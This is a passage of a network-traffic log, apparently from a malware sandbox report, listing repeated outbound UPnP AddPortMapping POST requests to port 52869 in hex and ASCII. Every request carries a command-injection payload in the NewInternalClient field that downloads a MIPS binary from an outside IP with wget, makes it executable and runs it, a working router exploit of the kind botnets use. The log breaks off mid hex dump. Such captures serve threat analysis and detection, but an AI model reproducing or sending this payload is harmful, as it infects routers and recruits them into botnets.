                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:43.933540106 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:55.961196899 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:21.560445070 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:10.710957050 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      77192.168.2.1555694185.87.147.2452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:33.785340071 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:34.681719065 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      78192.168.2.1551032185.216.251.21452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:33.907283068 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 